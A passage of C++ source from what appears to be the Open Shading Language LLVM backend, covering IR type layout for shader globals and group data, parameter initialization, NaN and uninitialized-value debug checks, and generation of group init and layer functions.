// ...and so on for all the other locals & temps...
// then run the shader body:
*x = sg->u * group->param_0_bar;
group->param_1_foo = *x;
}
void $layer_1(ShaderGlobals* sg, GroupData* group,
void* userdatda_base_ptr, void* output_base_ptr,
int shadeindex)
{
// Because we need the outputs of layer 0 now, we call it if it
// hasn't already run:
if (! group->layer_run[0]) {
group->layer_run[0] = 1;
$layer_0 (sg, group, userdata_base_ptr, output_base_ptr,
shadeindex); // because we need its outputs
}
*y = sg->u * group->$param_1_bar;
}
void $group_1(ShaderGlobals* sg, GroupData* group,
void* userdatda_base_ptr, void* output_base_ptr,
int shadeindex)
{
group->layer_run[...] = 0;
// Run just the unconditional layers
if (! group->layer_run[1]) {
group->layer_run[1] = 1;
$layer_1(sg, group, userdata_base_ptr, output_base_ptr,
shadeindex);
}
}
*/
extern int osl_llvm_compiled_ops_size;
extern unsigned char osl_llvm_compiled_ops_block[];
extern int osl_llvm_compiled_ops_cuda_size;
extern unsigned char osl_llvm_compiled_ops_cuda_block[];
extern int osl_llvm_compiled_rs_dependant_ops_size;
extern unsigned char osl_llvm_compiled_rs_dependant_ops_block[];
using namespace OSL::pvt;
OSL_NAMESPACE_ENTER
namespace pvt {
static spin_mutex llvm_mutex;
static ustring op_end("end");
static ustring op_nop("nop");
static ustring op_aassign("aassign");
static ustring op_compassign("compassign");
static ustring op_mxcompassign("mxcompassign");
static ustring op_aref("aref");
static ustring op_compref("compref");
static ustring op_mxcompref("mxcompref");
static ustring op_useparam("useparam");
static ustring unknown_shader_group_name("<Unknown Shader Group Name>");
struct HelperFuncRecord {
const char *argtypes;
void (*function)();
HelperFuncRecord (const char *argtypes=NULL, void (*function)()=NULL)
: argtypes(argtypes), function(function) {}
};
typedef std::unordered_map<std::string,HelperFuncRecord> HelperFuncMap;
static HelperFuncMap llvm_helper_function_map;
static atomic_int llvm_helper_function_map_initialized (0);
static spin_mutex llvm_helper_function_map_mutex;
static std::vector<std::string> external_function_names; // used for internalize_module_functions
static void
initialize_llvm_helper_function_map ()
{
if (llvm_helper_function_map_initialized)
return; // already done
spin_lock lock (llvm_helper_function_map_mutex);
if (llvm_helper_function_map_initialized)
return;
#define DECL(name,signature) \
llvm_helper_function_map[#name] = HelperFuncRecord(signature,name); \
external_function_names.push_back (#name);
#include "builtindecl.h"
#undef DECL
llvm_helper_function_map_initialized = 1;
}
static void *
helper_function_lookup (const std::string &name)
{
HelperFuncMap::const_iterator i = llvm_helper_function_map.find (name);
if (i == llvm_helper_function_map.end())
return NULL;
return (void *) i->second.function;
}
llvm::Type *
BackendLLVM::llvm_type_sg ()
{
// Create a type that defines the ShaderGlobals for LLVM IR. This
// absolutely MUST exactly match the ShaderGlobals struct in oslexec.h.
if (m_llvm_type_sg)
return m_llvm_type_sg;
// Derivs look like arrays of 3 values
llvm::Type *float_deriv = llvm_type (TypeDesc(TypeDesc::FLOAT, TypeDesc::SCALAR, 3));
llvm::Type *triple_deriv = llvm_type (TypeDesc(TypeDesc::FLOAT, TypeDesc::VEC3, 3));
std::vector<llvm::Type*> sg_types;
sg_types.push_back (triple_deriv); // P, dPdx, dPdy
sg_types.push_back (ll.type_triple()); // dPdz
sg_types.push_back (triple_deriv); // I, dIdx, dIdy
sg_types.push_back (ll.type_triple()); // N
sg_types.push_back (ll.type_triple()); // Ng
sg_types.push_back (float_deriv); // u, dudx, dudy
sg_types.push_back (float_deriv); // v, dvdx, dvdy
sg_types.push_back (ll.type_triple()); // dPdu
sg_types.push_back (ll.type_triple()); // dPdv
sg_types.push_back (ll.type_float()); // time
sg_types.push_back (ll.type_float()); // dtime
sg_types.push_back (ll.type_triple()); // dPdtime
sg_types.push_back (triple_deriv); // Ps
llvm::Type *vp = (llvm::Type *)ll.type_void_ptr();
sg_types.push_back(vp); // opaque renderstate*
sg_types.push_back(vp); // opaque tracedata*
sg_types.push_back(vp); // opaque objdata*
sg_types.push_back(vp); // ShadingContext*
sg_types.push_back(vp); // RendererServices*
sg_types.push_back(vp); // object2common
sg_types.push_back(vp); // shader2common
sg_types.push_back(vp); // Ci
sg_types.push_back (ll.type_float()); // surfacearea
sg_types.push_back (ll.type_int()); // raytype
sg_types.push_back (ll.type_int()); // flipHandedness
sg_types.push_back (ll.type_int()); // backfacing
return m_llvm_type_sg = ll.type_struct (sg_types, "ShaderGlobals");
}
llvm::Type *
BackendLLVM::llvm_type_sg_ptr ()
{
return ll.type_ptr (llvm_type_sg());
}
llvm::Type *
BackendLLVM::llvm_type_groupdata ()
{
// If already computed, return it
if (m_llvm_type_groupdata)
return m_llvm_type_groupdata;
std::vector<llvm::Type*> fields;
int offset = 0;
int order = 0;
if (llvm_debug() >= 2)
std::cout << "Group param struct:\n";
// First, add the array that tells if each layer has run. But only make
// slots for the layers that may be called/used.
if (llvm_debug() >= 2)
std::cout << " layers run flags: " << m_num_used_layers
<< " at offset " << offset << "\n";
int sz = (m_num_used_layers + 3) & (~3); // Round up to 32 bit boundary
fields.push_back (ll.type_array (ll.type_bool(), sz));
offset += sz * sizeof(bool);
++order;
// Now add the array that tells which userdata have been initialized,
// and the space for the userdata values.
int nuserdata = (int) group().m_userdata_names.size();
if (nuserdata) {
if (llvm_debug() >= 2)
std::cout << " userdata initialized flags: " << nuserdata
<< " at offset " << offset << ", field " << order << "\n";
ustring *names = & group().m_userdata_names[0];
TypeDesc *types = & group().m_userdata_types[0];
int *offsets = & group().m_userdata_offsets[0];
int sz = (nuserdata + 3) & (~3);
fields.push_back (ll.type_array (ll.type_bool(), sz));
offset += nuserdata * sizeof(bool);
++order;
for (int i = 0; i < nuserdata; ++i) {
TypeDesc type = types[i];
// NB: Userdata derivs are not currently supported in OptiX, since
// making room for them in the GroupData struct can result in a
// large per-thread memory allocation, which could negatively
// impact performance.
int n = (! use_optix())
? type.numelements() * 3 // make room for derivs by default
: type.numelements();
type.arraylen = n;
fields.push_back (llvm_type (type));
// Alignment
int align = type.basesize();
offset = OIIO::round_to_multiple_of_pow2 (offset, align);
if (llvm_debug() >= 2)
std::cout << " userdata " << names[i] << ' ' << type
<< ", field " << order << ", offset " << offset << "\n";
offsets[i] = offset;
offset += int(type.size());
++order;
}
}
// For each layer in the group, add entries for all params that are
// connected or interpolated, and output params. Also mark those
// symbols with their offset within the group struct.
m_param_order_map.clear ();
for (int layer = 0; layer < group().nlayers(); ++layer) {
ShaderInstance *inst = group()[layer];
if (inst->unused())
continue;
FOREACH_PARAM (Symbol &sym, inst) {
TypeSpec ts = sym.typespec();
if (ts.is_structure()) // skip the struct symbol itself
continue;
const int arraylen = std::max (1, sym.typespec().arraylength());
const int derivSize = (sym.has_derivs() ? 3 : 1);
ts.make_array (arraylen * derivSize);
fields.push_back (llvm_type (ts));
// FIXME(arena) -- temporary debugging
if (debug() && sym.symtype() == SymTypeOutputParam
&& !sym.connected_down()) {
auto found = group().find_symloc(sym.name());
if (found)
OIIO::Strutil::print("layer {} \"{}\" : OUTPUT {}\n",
layer, inst->layername(), found->name);
}
// Alignment
size_t align = sym.typespec().is_closure_based() ? sizeof(void*) :
sym.typespec().simpletype().basesize();
if (offset & (align-1))
offset += align - (offset & (align-1));
if (llvm_debug() >= 2)
std::cout << " " << inst->layername()
<< " (" << inst->id() << ") " << sym.mangled()
<< " " << ts.c_str() << ", field " << order
<< ", size " << derivSize * int(sym.size())
<< ", offset " << offset << std::endl;
sym.dataoffset ((int)offset);
// TODO(arenas): sym.set_dataoffset(SymArena::Heap, offset);
offset += derivSize * sym.size();
m_param_order_map[&sym] = order;
++order;
}
}
group().llvm_groupdata_size (offset);
if (llvm_debug() >= 2)
std::cout << " Group struct had " << order << " fields, total size "
<< offset << "\n\n";
std::string groupdataname = Strutil::sprintf("Groupdata_%llu",
(long long unsigned int)group().name().hash());
m_llvm_type_groupdata = ll.type_struct (fields, groupdataname);
return m_llvm_type_groupdata;
}
llvm::Type *
BackendLLVM::llvm_type_groupdata_ptr ()
{
return ll.type_ptr (llvm_type_groupdata());
}
llvm::Type *
BackendLLVM::llvm_type_closure_component ()
{
if (m_llvm_type_closure_component)
return m_llvm_type_closure_component;
std::vector<llvm::Type*> comp_types;
comp_types.push_back (ll.type_int()); // id
comp_types.push_back (ll.type_triple()); // w
comp_types.push_back (ll.type_int()); // fake field for char mem[4]
return m_llvm_type_closure_component = ll.type_struct (comp_types, "ClosureComponent");
}
llvm::Type *
BackendLLVM::llvm_type_closure_component_ptr ()
{
return ll.type_ptr (llvm_type_closure_component());
}
void
BackendLLVM::llvm_assign_initial_value (const Symbol& sym, bool force)
{
// Don't write over connections! Connection values are written into
// our layer when the earlier layer is run, as part of its code. So
// we just don't need to initialize it here at all.
if (!force && sym.valuesource() == Symbol::ConnectedVal &&
!sym.typespec().is_closure_based())
return;
if (sym.typespec().is_closure_based() && sym.symtype() == SymTypeGlobal)
return;
int arraylen = std::max (1, sym.typespec().arraylength());
// Closures need to get their storage before anything can be
// assigned to them. Unless they are params, in which case we took
// care of it in the group entry point.
if (sym.typespec().is_closure_based() &&
sym.symtype() != SymTypeParam && sym.symtype() != SymTypeOutputParam) {
llvm_assign_zero (sym);
return;
}
if ((sym.symtype() == SymTypeLocal || sym.symtype() == SymTypeTemp)
&& shadingsys().debug_uninit()) {
// Handle the "debug uninitialized values" case
bool isarray = sym.typespec().is_array();
int alen = isarray ? sym.typespec().arraylength() : 1;
llvm::Value *u = NULL;
if (sym.typespec().is_closure_based()) {
// skip closures
}
else if (sym.typespec().is_float_based())
u = ll.constant (std::numeric_limits<float>::quiet_NaN());
else if (sym.typespec().is_int_based())
u = ll.constant (std::numeric_limits<int>::min());
else if (sym.typespec().is_string_based())
u = ll.constant (Strings::uninitialized_string);
if (u) {
for (int a = 0; a < alen; ++a) {
llvm::Value *aval = isarray ? ll.constant(a) : NULL;
for (int c = 0; c < (int)sym.typespec().aggregate(); ++c)
llvm_store_value (u, sym, 0, aval, c);
}
}
return;
}
if ((sym.symtype() == SymTypeLocal || sym.symtype() == SymTypeTemp) &&
sym.typespec().is_string_based()) {
// Strings are pointers. Can't take any chance on leaving
// local/tmp syms uninitialized.
llvm_assign_zero (sym);
return; // we're done, the parts below are just for params
}
// From here on, everything we are dealing with is a shader parameter
// (either ordinary or output).
OSL_ASSERT_MSG (sym.symtype() == SymTypeParam || sym.symtype() == SymTypeOutputParam,
"symtype was %d, data type was %s", (int)sym.symtype(), sym.typespec().c_str());
// Handle interpolated params by calling osl_bind_interpolated_param,
// which will check if userdata is already retrieved, if not it will
// call RendererServices::get_userdata to retrived it. In either case,
// it will return 1 if it put the userdata in the right spot (either
// retrieved de novo or copied from a previous retrieval), or 0 if no
// such userdata was available.
llvm::BasicBlock *after_userdata_block = nullptr;
const SymLocationDesc* symloc = nullptr;
if (! sym.lockgeom() && ! sym.typespec().is_closure()) {
ustring symname = sym.name();
TypeDesc type = sym.typespec().simpletype();
int userdata_index = find_userdata_index (sym);
OSL_DASSERT (userdata_index >= 0);
llvm::Value* got_userdata = nullptr;
// See if userdata input placement has been used for this symbol
ustring layersym = ustring::fmtformat("{}.{}", inst()->layername(),
sym.name());
symloc = group().find_symloc(layersym, SymArena::UserData);
if (! symloc)
symloc = group().find_symloc(sym.name(), SymArena::UserData);
if (symloc) {
// We had a userdata pre-placement record for this variable.
// Just copy from the correct offset location!
// Strutil::print("GEN found placeable userdata input {} -> {} {} size={}\n",
// sym.name(), symloc->name, sym.typespec(),
// symloc->type.size());
int size = int(symloc->type.size());
if (symloc->derivs && sym.has_derivs())
size *= 3; // If we're copying the derivs
llvm::Value* srcptr = symloc_ptr(symloc, m_llvm_userdata_base_ptr);
llvm::Value* dstptr = llvm_void_ptr(sym);
ll.op_memcpy (dstptr, srcptr, size);
// Clear derivs if the variable wants derivs but placement
// source didn't have them.
if (sym.has_derivs() && !symloc->derivs)
ll.op_memset(ll.offset_ptr(dstptr, size), 0, 2*size);
} else {
// No pre-placement: fall back to call to the renderer callback.
llvm::Value* name_arg = NULL;
if (use_optix()) {
// We need to make a DeviceString for the parameter name
ustring arg_name = ustring::fmtformat("osl_paramname_{}_{}",
symname, sym.layer());
Symbol symname_const (arg_name, TypeDesc::TypeString, SymTypeConst);
symname_const.set_dataptr(SymArena::Absolute, &symname);
name_arg = llvm_load_device_string (symname_const, /*follow*/ true);
} else {
name_arg = ll.constant (symname);
}
llvm::Value* args[] = {
sg_void_ptr(),
name_arg,
ll.constant (type),
ll.constant ((int) group().m_userdata_derivs[userdata_index]),
groupdata_field_ptr (2 + userdata_index), // userdata data ptr
ll.constant ((int) sym.has_derivs()),
llvm_void_ptr (sym),
ll.constant (sym.derivsize()),
ll.void_ptr (userdata_initialized_ref(userdata_index)),
ll.constant (userdata_index),
};
got_userdata = ll.call_function ("osl_bind_interpolated_param", args);
}
if (shadingsys().debug_nan() && type.basetype == TypeDesc::FLOAT) {
// check for NaN/Inf for float-based types
int ncomps = type.numelements() * type.aggregate;
llvm::Value *args[] = { ll.constant(ncomps), llvm_void_ptr(sym),
ll.constant((int)sym.has_derivs()), sg_void_ptr(),
ll.constant(ustring(inst()->shadername())),
ll.constant(0), ll.constant(sym.unmangled()),
ll.constant(0), ll.constant(ncomps),
ll.constant("<get_userdata>")
};
ll.call_function ("osl_naninf_check", args);
}
// userdata pre-placement always succeeds, we don't need to bother
// with handing partial results possibly from bind_interpolated_param
if (symloc == nullptr) {
// We will enclose the subsequent initialization of default values
// or init ops in an "if" so that the extra copies or code don't
// happen if the userdata was retrieved.
llvm::BasicBlock *no_userdata_block = ll.new_basic_block ("no_userdata");
after_userdata_block = ll.new_basic_block ();
llvm::Value *cond_val = ll.op_eq (got_userdata, ll.constant(0));
ll.op_branch (cond_val, no_userdata_block, after_userdata_block);
}
}
// Only generate init_ops or default assignment when userdata pre-placement
// is not found
if (symloc == nullptr) {
if (sym.has_init_ops() && sym.valuesource() == Symbol::DefaultVal) {
// Handle init ops.
build_llvm_code (sym.initbegin(), sym.initend());
} else if (use_optix() && ! sym.typespec().is_closure() && ! sym.typespec().is_string()) {
// If the call to osl_bind_interpolated_param returns 0, the default
// value needs to be loaded from a CUDA variable.
ustring var_name = ustring::fmtformat("{}_{}_{}_{}", sym.name(),
inst()->layername(),
group().name(), group().id());
// The "true" argument triggers the creation of the metadata needed to
// make the variable visible to OptiX.
llvm::Value* cuda_var = getOrAllocateCUDAVariable (sym, true);
// memcpy the initial value from the CUDA variable
llvm::Value* src = ll.ptr_cast (ll.GEP (cuda_var, 0), ll.type_void_ptr());
llvm::Value* dst = llvm_void_ptr (sym);
TypeDesc t = sym.typespec().simpletype();
ll.op_memcpy (dst, src, t.size(), t.basesize());
} else if (use_optix() && ! sym.typespec().is_closure()) {
// For convenience, we always pack string addresses into the groupdata
// struct.
int userdata_index = find_userdata_index (sym);
llvm::Value* init_val = getOrAllocateCUDAVariable (sym);
init_val = ll.ptr_cast (init_val, ll.type_void_ptr());
ll.op_memcpy (groupdata_field_ptr (2 + userdata_index), init_val, 8, 4);
} else if (! sym.lockgeom() && ! sym.typespec().is_closure()) {
// geometrically-varying param; memcpy its default value
TypeDesc t = sym.typespec().simpletype();
ll.op_memcpy (llvm_void_ptr (sym), ll.constant_ptr (sym.data()),
t.size(), t.basesize() /*align*/);
if (sym.has_derivs())
llvm_zero_derivs (sym);
} else {
// Use default value
int num_components = sym.typespec().simpletype().aggregate;
TypeSpec elemtype = sym.typespec().elementtype();
for (int a = 0, c = 0; a < arraylen; ++a) {
llvm::Value *arrind = sym.typespec().is_array() ? ll.constant(a) : NULL;
if (sym.typespec().is_closure_based())
continue;
for (int i = 0; i < num_components; ++i, ++c) {
// Fill in the constant val
llvm::Value* init_val = 0;
if (elemtype.is_float_based())
init_val = ll.constant(sym.get_float(c));
else if (elemtype.is_string())
init_val = ll.constant(sym.get_string(c));
else if (elemtype.is_int())
init_val = ll.constant(sym.get_int(c));
OSL_DASSERT (init_val);
llvm_store_value (init_val, sym, 0, arrind, i);
}
}
if (sym.has_derivs())
llvm_zero_derivs (sym);
}
if (after_userdata_block) {
// If we enclosed the default initialization in an "if", jump to the
// next basic block now.
ll.op_branch (after_userdata_block);
}
}
}
void
BackendLLVM::llvm_generate_debugnan (const Opcode &op)
{
// This function inserts extra debugging code to make sure that this op
// did not produce any NaN values.
// Check each argument to the op...
for (int i = 0; i < op.nargs(); ++i) {
// Only consider the arguments that this op WRITES to
if (! op.argwrite(i))
continue;
Symbol &sym (*opargsym (op, i));
TypeDesc t = sym.typespec().simpletype();
// Only consider floats, because nothing else can be a NaN
if (t.basetype != TypeDesc::FLOAT)
continue;
// Default: Check all elements of the variable being written
llvm::Value *ncomps = ll.constant (int(t.numelements() * t.aggregate));
llvm::Value *offset = ll.constant(0);
llvm::Value *ncheck = ncomps;
// There are a few special cases where an op writes a partial value:
// one element of an array, aggregate (like a point), or matrix. In
// those cases, don't check the other pieces that haven't been
// touched by this op, because (a) it's unnecessary work and code
// generation, and (b) they might generate a false positive error.
// An example would be:
// float A[3]; // 1 Elements could be anything
// A[1] = x; // 2 <-- this is where we are
// Line 2 only wrote element [1], so we do not need to check the
// current values of [0] or [2].
if (op.opname() == op_aassign) {
OSL_DASSERT (i == 0 && "only arg 0 is written for aassign");
llvm::Value *ind = llvm_load_value (*opargsym (op, 1));
llvm::Value *agg = ll.constant(t.aggregate);
offset = t.aggregate == 1 ? ind : ll.op_mul (ind, agg);
ncheck = agg;
} else if (op.opname() == op_compassign) {
OSL_DASSERT (i == 0 && "only arg 0 is written for compassign");
llvm::Value *ind = llvm_load_value (*opargsym (op, 1));
offset = ind;
ncheck = ll.constant(1);
} else if (op.opname() == op_mxcompassign) {
OSL_DASSERT (i == 0 && "only arg 0 is written for mxcompassign");
Symbol &row_sym = *opargsym (op, 1);
Symbol &col_sym = *opargsym (op, 2);
llvm::Value *row_ind = llvm_load_value (row_sym);
llvm::Value *col_ind = llvm_load_value (col_sym);
llvm::Value *comp = ll.op_mul (row_ind, ll.constant(4));
comp = ll.op_add (comp, col_ind);
offset = comp;
ncheck = ll.constant(1);
}
llvm::Value *args[] = { ncomps,
llvm_void_ptr(sym),
ll.constant((int)sym.has_derivs()),
sg_void_ptr(),
ll.constant(op.sourcefile()),
ll.constant(op.sourceline()),
ll.constant(sym.unmangled()),
offset,
ncheck,
ll.constant(op.opname())
};
ll.call_function ("osl_naninf_check", args);
}
}
void
BackendLLVM::llvm_generate_debug_uninit (const Opcode &op)
{
// This function inserts extra debugging code to make sure that this op
// did not read an uninitialized value.
if (op.opname() == op_useparam) {
// Don't check the args of a useparam before the op; they are by
// definition potentially not yet set before the useparam action
// itself puts values into them. Checking them for uninitialized
// values will result in false positives.
return;
}
// Check each argument to the op...
for (int i = 0; i < op.nargs(); ++i) {
// Only consider the arguments that this op READS
if (! op.argread(i))
continue;
Symbol &sym (*opargsym (op, i));
// just check float, int, string based types.
if (sym.typespec().is_closure_based())
continue;
TypeDesc t = sym.typespec().simpletype();
if (t.basetype != TypeDesc::FLOAT && t.basetype != TypeDesc::INT &&
t.basetype != TypeDesc::STRING)
continue;
// Some special cases...
if (op.opname() == Strings::op_for && i == 0) {
// The first argument of 'for' is the condition temp, but
// note that it may not have had its initializer run yet, so
// don't generate uninit test code for it.
continue;
}
if (op.opname() == Strings::op_dowhile && i == 0) {
// The first argument of 'dowhile' is the condition temp, but
// most likely its initializer has not run yet. Unless there is
// no "condition" code block, in that case we should still test
// it for uninit.
if (op.jump(0) != op.jump(1))
continue;
}
// Default: Check all elements of the variable being read
llvm::Value *ncheck = ll.constant (int(t.numelements() * t.aggregate));
llvm::Value *offset = ll.constant(0);
// There are a few special cases where an op reads a partial value:
// one element of an array, aggregate (like a point), or matrix. In
// those cases, don't check the other pieces that haven't been
// touched by this op, because (a) it's unnecessary work and code
// generation, and (b) they might generate a false positive error.
// An example would be:
// float A[3]; // 1 Elements are uninitialized
// A[1] = 1; // 2
// float x = A[1]; // 3 <--- this is where we are
// Line 3 only reads element [1]. It is NOT an uninitialized read,
// even though other parts of array A are uninitialized. And even if
// they were initialized, it's unnecessary to check the status of
// the other elements that we didn't just read. Even if [2] is
// uninitialized for the whole shader, that doesn't matter as long
// as we don't try to read it.
if (op.opname() == op_aref && i == 1) {
// Special case -- array assignment -- only check one element
llvm::Value *ind = llvm_load_value (*opargsym (op, 2));
llvm::Value *agg = ll.constant(t.aggregate);
offset = t.aggregate == 1 ? ind : ll.op_mul (ind, agg);
ncheck = agg;
} else if (op.opname() == op_compref && i == 1) {
// Special case -- component assignment -- only check one channel
llvm::Value *ind = llvm_load_value (*opargsym (op, 2));
offset = ind;
ncheck = ll.constant(1);
} else if (op.opname() == op_mxcompref && i == 1) {
// Special case -- matrix component reference -- only check one channel
Symbol &row_sym = *opargsym (op, 2);
Symbol &col_sym = *opargsym (op, 3);
llvm::Value *row_ind = llvm_load_value (row_sym);
llvm::Value *col_ind = llvm_load_value (col_sym);
llvm::Value *comp = ll.op_mul (row_ind, ll.constant(4));
comp = ll.op_add (comp, col_ind);
offset = comp;
ncheck = ll.constant(1);
}
llvm::Value *args[] = { ll.constant(t),
llvm_void_ptr(sym),
sg_void_ptr(),
ll.constant(op.sourcefile()),
ll.constant(op.sourceline()),
ll.constant(group().name()),
ll.constant(layer()),
ll.constant(inst()->layername()),
ll.constant(inst()->shadername().c_str()),
ll.constant(int(&op - &inst()->ops()[0])),
ll.constant(op.opname()),
ll.constant(i),
ll.constant(sym.unmangled()),
offset,
ncheck
};
ll.call_function ("osl_uninit_check", args);
}
}
void
BackendLLVM::llvm_generate_debug_op_printf (const Opcode &op)
{
std::ostringstream msg;
msg.imbue (std::locale::classic()); // force C locale
msg << op.sourcefile() << ':' << op.sourceline() << ' ' << op.opname();
for (int i = 0; i < op.nargs(); ++i)
msg << ' ' << opargsym (op, i)->mangled();
llvm_gen_debug_printf (msg.str());
}
bool
BackendLLVM::build_llvm_code (int beginop, int endop, llvm::BasicBlock *bb)
{
if (bb)
ll.set_insert_point (bb);
for (int opnum = beginop; opnum < endop; ++opnum) {
const Opcode& op = inst()->ops()[opnum];
const OpDescriptor *opd = shadingsys().op_descriptor (op.opname());
if (opd && opd->llvmgen) {
if (shadingsys().debug_uninit() /* debug uninitialized vals */)
llvm_generate_debug_uninit (op);
if (shadingsys().llvm_debug_ops())
llvm_generate_debug_op_printf (op);
if (ll.debug_is_enabled())
ll.debug_set_location(op.sourcefile(), std::max(op.sourceline(), 1));
bool ok = (*opd->llvmgen) (*this, opnum);
if (! ok)
return false;
if (shadingsys().debug_nan() /* debug NaN/Inf */
&& op.farthest_jump() < 0 /* Jumping ops don't need it */) {
llvm_generate_debugnan (op);
}
} else if (op.opname() == op_nop ||
op.opname() == op_end) {
// Skip this op, it does nothing...
} else {
shadingcontext()->errorfmt(
"LLVMOSL: Unsupported op {} in layer {}\n", op.opname(),
inst()->layername());
return false;
}
// If the op we coded jumps around, skip past its recursive block
// executions.
int next = op.farthest_jump ();
if (next >= 0)
opnum = next-1;
}
return true;
}
llvm::Function*
BackendLLVM::build_llvm_init ()
{
// Make a group init function: void group_init(ShaderGlobals*, GroupData*)
// Note that the GroupData* is passed as a void*.
std::string unique_name = Strutil::sprintf ("__direct_callable__group_%s_%d_init",
group().name(), group().id());
ll.current_function (
ll.make_function (unique_name, false,
ll.type_void(), // return type
{ llvm_type_sg_ptr(), llvm_type_groupdata_ptr(),
ll.type_void_ptr(), // userdata_base_ptr
ll.type_void_ptr(), // output_base_ptr
ll.type_int() }));
if (ll.debug_is_enabled()) {
ustring sourcefile = group()[0]->op(group()[0]->maincodebegin()).sourcefile();
ll.debug_push_function(unique_name, sourcefile, 0);
}
// Get shader globals and groupdata pointers
m_llvm_shaderglobals_ptr = ll.current_function_arg(0); //arg_it++;
m_llvm_groupdata_ptr = ll.current_function_arg(1); //arg_it++;
m_llvm_userdata_base_ptr = ll.current_function_arg(2); //arg_it++;
m_llvm_output_base_ptr = ll.current_function_arg(3); //arg_it++;
m_llvm_shadeindex = ll.current_function_arg(4); //arg_it++;
// Set up a new IR builder
llvm::BasicBlock *entry_bb = ll.new_basic_block (unique_name);
ll.new_builder (entry_bb);
#if 0 /* helpful for debugging */
if (llvm_debug()) {
llvm_gen_debug_printf (Strutil::sprintf("\n\n\n\nGROUP! %s",group().name()));
llvm_gen_debug_printf ("enter group initlayer %d %s %s",
this->layer(), inst()->layername(), inst()->shadername()));
}
#endif
// Group init clears all the "layer_run" and "userdata_initialized" flags.
if (m_num_used_layers > 1) {
int sz = (m_num_used_layers + 3) & (~3); // round up to 32 bits
ll.op_memset (ll.void_ptr(layer_run_ref(0)), 0, sz, 4 /*align*/);
}
int num_userdata = (int) group().m_userdata_names.size();
if (num_userdata) {
int sz = (num_userdata + 3) & (~3); // round up to 32 bits
ll.op_memset (ll.void_ptr(userdata_initialized_ref(0)), 0, sz, 4 /*align*/);
}
// Group init also needs to allot space for ALL layers' params
// that are closures (to avoid weird order of layer eval problems).
for (int i = 0; i < group().nlayers(); ++i) {
ShaderInstance *gi = group()[i];
if (gi->unused() || gi->empty_instance())
continue;
FOREACH_PARAM (Symbol &sym, gi) {
if (sym.typespec().is_closure_based()) {
int arraylen = std::max (1, sym.typespec().arraylength());
llvm::Value *val = ll.constant_ptr(NULL, ll.type_void_ptr());
for (int a = 0; a < arraylen; ++a) {
llvm::Value *arrind = sym.typespec().is_array() ? ll.constant(a) : NULL;
llvm_store_value (val, sym, 0, arrind, 0);
}
}
}
}
// All done
#if 0 /* helpful for debugging */
if (llvm_debug())
llvm_gen_debug_printf (Strutil::sprintf("exit group init %s",
group().name());
#endif
ll.op_return();
if (llvm_debug())
std::cout << "group init func (" << unique_name << ") "
<< " after llvm = "
<< ll.bitcode_string(ll.current_function()) << "\n";
if (ll.debug_is_enabled())
ll.debug_pop_function();
ll.end_builder(); // clear the builder
return ll.current_function();
}
llvm::Function*
BackendLLVM::build_llvm_instance (bool groupentry)
{
// Make a layer function: void layer_func(ShaderGlobals*, GroupData*)
// Note that the GroupData* is passed as a void*.
std::string unique_layer_name = (groupentry ? "__direct_callable__" : "") + layer_function_name();
bool is_entry_layer = group().is_entry_layer(layer());
ll.current_function (
ll.make_function (unique_layer_name,
!is_entry_layer, // fastcall for non-entry layer functions
ll.type_void(), // return type
{ llvm_type_sg_ptr(), llvm_type_groupdata_ptr(),
ll.type_void_ptr(), // userdata_base_ptr
ll.type_void_ptr(), // output_base_ptr
ll.type_int() } ));
if (ll.debug_is_enabled()) {
const Opcode& mainbegin (inst()->op(inst()->maincodebegin()));
ll.debug_push_function(unique_layer_name, mainbegin.sourcefile(),
mainbegin.sourceline());
}
// Get shader globals and groupdata pointers
m_llvm_shaderglobals_ptr = ll.current_function_arg(0); //arg_it++;
m_llvm_groupdata_ptr = ll.current_function_arg(1); //arg_it++;
m_llvm_userdata_base_ptr = ll.current_function_arg(2); //arg_it++;
m_llvm_output_base_ptr = ll.current_function_arg(3); //arg_it++;
m_llvm_shadeindex = ll.current_function_arg(4); //arg_it++;
llvm::BasicBlock *entry_bb = ll.new_basic_block (unique_layer_name);
m_exit_instance_block = NULL;
// Set up a new IR builder
ll.new_builder (entry_bb);
llvm::Value *layerfield = layer_run_ref(layer_remap(layer()));
if (is_entry_layer && ! group().is_last_layer(layer())) {
// For entry layers, we need an extra check to see if it already
// ran. If it has, do an early return. Otherwise, set the 'ran' flag
// and then run the layer.
if (shadingsys().llvm_debug_layers())
llvm_gen_debug_printf (Strutil::sprintf("checking for already-run layer %d %s %s",
this->layer(), inst()->layername(), inst()->shadername()));
llvm::Value *executed = ll.op_eq (ll.op_load (layerfield), ll.constant_bool(true));
llvm::BasicBlock *then_block = ll.new_basic_block();
llvm::BasicBlock *after_block = ll.new_basic_block();
ll.op_branch (executed, then_block, after_block);
// insert point is now then_block
// we've already executed, so return early
if (shadingsys().llvm_debug_layers())
llvm_gen_debug_printf (Strutil::sprintf(" taking early exit, already executed layer %d %s %s",
this->layer(), inst()->layername(), inst()->shadername()));
ll.op_return ();
ll.set_insert_point (after_block);
}
if (shadingsys().llvm_debug_layers())
llvm_gen_debug_printf (Strutil::sprintf("enter layer %d %s %s",
this->layer(), inst()->layername(), inst()->shadername()));
// Mark this layer as executed
if (! group().is_last_layer(layer())) {
ll.op_store (ll.constant_bool(true), layerfield);
if (shadingsys().countlayerexecs())
ll.call_function ("osl_incr_layers_executed", sg_void_ptr());
}
// Setup the symbols
m_named_values.clear ();
m_layers_already_run.clear ();
for (auto&& s : inst()->symbols()) {
// Skip constants -- we always inline scalar constants, and for
// array constants we will just use the pointers to the copy of
// the constant that belongs to the instance.
if (s.symtype() == SymTypeConst)
continue;
// Skip structure placeholders
if (s.typespec().is_structure())
continue;
// Allocate space for locals, temps, aggregate constants
if (s.symtype() == SymTypeLocal || s.symtype() == SymTypeTemp ||
s.symtype() == SymTypeConst)
getOrAllocateLLVMSymbol (s);
// Set initial value for constants, closures, and strings that are
// not parameters.
if (s.symtype() != SymTypeParam && s.symtype() != SymTypeOutputParam &&
s.symtype() != SymTypeGlobal &&
(s.is_constant() || s.typespec().is_closure_based() ||
s.typespec().is_string_based() ||
((s.symtype() == SymTypeLocal || s.symtype() == SymTypeTemp)
&& shadingsys().debug_uninit())))
llvm_assign_initial_value (s);
// If debugnan is turned on, globals check that their values are ok
if (s.symtype() == SymTypeGlobal && shadingsys().debug_nan()) {
TypeDesc t = s.typespec().simpletype();
if (t.basetype == TypeDesc::FLOAT) { // just check float-based types
int ncomps = t.numelements() * t.aggregate;
llvm::Value *args[] = { ll.constant(ncomps), llvm_void_ptr(s),
ll.constant((int)s.has_derivs()), sg_void_ptr(),
ll.constant(ustring(inst()->shadername())),
ll.constant(0), ll.constant(s.unmangled()),
ll.constant(0), ll.constant(ncomps),
ll.constant("<none>")
};
